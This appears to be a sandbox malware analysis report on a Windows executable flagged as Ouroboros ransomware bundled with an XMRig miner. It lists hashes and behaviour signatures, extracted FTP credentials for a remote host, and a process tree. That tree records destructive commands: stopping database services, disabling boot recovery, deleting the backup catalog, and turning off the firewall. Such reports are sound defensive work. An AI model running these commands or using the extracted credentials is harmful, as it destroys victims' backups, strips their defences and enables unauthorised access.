Overview

overview

10

Static

static

Win7: 5min timeout

windows7_x64

10

Resubmissions

11-02-2020 15:13

200211-dqsyhkd89j 10

11-02-2020 13:53

200211-rjepmqlfdj 10

Analysis

  • max time kernel
    143s
  • max time network
    269s
  • platform
    windows7_x64
  • resource
    win7v191014
  • submitted
    11-02-2020 15:13

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General

  • Target

    8df97f59144a4f3d55572156abd94b750a1a6ebbb5d1a08c001b5e1f4a1ce351.exe

  • Size

    1.7MB

  • MD5

    3f4181968baaf480a628d522c14cee75

  • SHA1

    0cfbe9d8a205fa528c00c96253ff309ab666ee90

  • SHA256

    8df97f59144a4f3d55572156abd94b750a1a6ebbb5d1a08c001b5e1f4a1ce351

  • SHA512

    319332107b9da31aaa752dc75d5291c80668c204be2b6f0a3d31d4a48428bdccd5dcc7787678eb003fbb3d61af5245ea0d8c87b343cbaf77877e5f0c49e69db4

Score
10/10
ouroborosxmrigevasionmacrominerpersistenceransomware

Malware Config

Extracted

Credentials

  • Protocol:     ftp
  • Host:
    80.82.69.52
  • Port:
    21
  • Username:
    admin
  • Password:
    asmodeusasmodeus

Signatures

  • Ouroboros/Zeropadypt

    Ransomware family based on open-source CryptoWire.

    ransomwareouroboros
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Drops file in Drivers directory 9 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Suspicious Office macro 2 IoCs

    Office document equipped with macros.

    macro
  • Drops startup file 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Drops desktop.ini file(s) 64 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8df97f59144a4f3d55572156abd94b750a1a6ebbb5d1a08c001b5e1f4a1ce351.exe
    "C:\Users\Admin\AppData\Local\Temp\8df97f59144a4f3d55572156abd94b750a1a6ebbb5d1a08c001b5e1f4a1ce351.exe"
    1⤵
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Users\Admin\AppData\Local\Temp\._cache_8df97f59144a4f3d55572156abd94b750a1a6ebbb5d1a08c001b5e1f4a1ce351.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_8df97f59144a4f3d55572156abd94b750a1a6ebbb5d1a08c001b5e1f4a1ce351.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Modifies extensions of user files
      • Drops startup file
      • Drops desktop.ini file(s)
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1124
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c net stop SQLWriter
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\Windows\SysWOW64\net.exe
          net stop SQLWriter
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1988
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop SQLWriter
            5⤵
              PID:108
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c net stop SQLBrowser
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1088
          • C:\Windows\SysWOW64\net.exe
            net stop SQLBrowser
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1132
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop SQLBrowser
              5⤵
                PID:1836
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1196
            • C:\Windows\SysWOW64\net.exe
              net stop MSSQLSERVER
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1960
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop MSSQLSERVER
                5⤵
                  PID:1940
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c net stop MSSQL$CONTOSO1
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1996
              • C:\Windows\SysWOW64\net.exe
                net stop MSSQL$CONTOSO1
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1120
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop MSSQL$CONTOSO1
                  5⤵
                    PID:1668
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c net stop MSDTC
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:848
                • C:\Windows\SysWOW64\net.exe
                  net stop MSDTC
                  4⤵
                    PID:1340
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop MSDTC
                      5⤵
                        PID:1580
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
                    3⤵
                      PID:1616
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled no
                      3⤵
                        PID:1984
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet
                        3⤵
                          PID:1792
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c net stop SQLSERVERAGENT
                          3⤵
                            PID:1396
                            • C:\Windows\SysWOW64\net.exe
                              net stop SQLSERVERAGENT
                              4⤵
                                PID:1952
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 stop SQLSERVERAGENT
                                  5⤵
                                    PID:1500
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
                                3⤵
                                  PID:788
                                  • C:\Windows\SysWOW64\net.exe
                                    net stop MSSQLSERVER
                                    4⤵
                                      PID:1968
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 stop MSSQLSERVER
                                        5⤵
                                          PID:1656
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c net stop vds
                                      3⤵
                                        PID:1096
                                        • C:\Windows\SysWOW64\net.exe
                                          net stop vds
                                          4⤵
                                            PID:860
                                            • C:\Windows\SysWOW64\net1.exe
                                              C:\Windows\system32\net1 stop vds
                                              5⤵
                                                PID:1432
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c netsh advfirewall set currentprofile state off
                                            3⤵
                                              PID:1424
                                              • C:\Windows\SysWOW64\netsh.exe
                                                netsh advfirewall set currentprofile state off
                                                4⤵
                                                  PID:1980
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c netsh firewall set opmode mode=disable
                                                3⤵
                                                  PID:2040
                                                  • C:\Windows\SysWOW64\netsh.exe
                                                    netsh firewall set opmode mode=disable
                                                    4⤵
                                                      PID:1944
                                                • C:\ProgramData\Synaptics\Synaptics.exe
                                                  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
                                                  2⤵
                                                  • Executes dropped EXE
                                                  • Modifies system certificate store
                                                  PID:2008
                                              • C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                                                1⤵
                                                • Suspicious behavior: AddClipboardFormatListener
                                                • Suspicious use of SetWindowsHookEx
                                                PID:1268

                                              Network

                                              MITRE ATT&CK Enterprise v6

                                              Replay Monitor

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                                              Downloads

                                              • memory/1124-8-0x0000000000F70000-0x0000000000F81000-memory.dmp

                                                Filesize

                                                68KB

                                                Download

                                              • memory/1124-7-0x0000000001380000-0x0000000001391000-memory.dmp

                                                Filesize

                                                68KB

                                                Download

                                              • memory/1124-6-0x0000000000F70000-0x0000000000F81000-memory.dmp

                                                Filesize

                                                68KB

                                                Download

                                              • memory/1268-26-0x0000000006640000-0x0000000006644000-memory.dmp

                                                Filesize

                                                16KB

                                                Download

                                              • memory/1268-24-0x0000000006640000-0x0000000006644000-memory.dmp

                                                Filesize

                                                16KB

                                                Download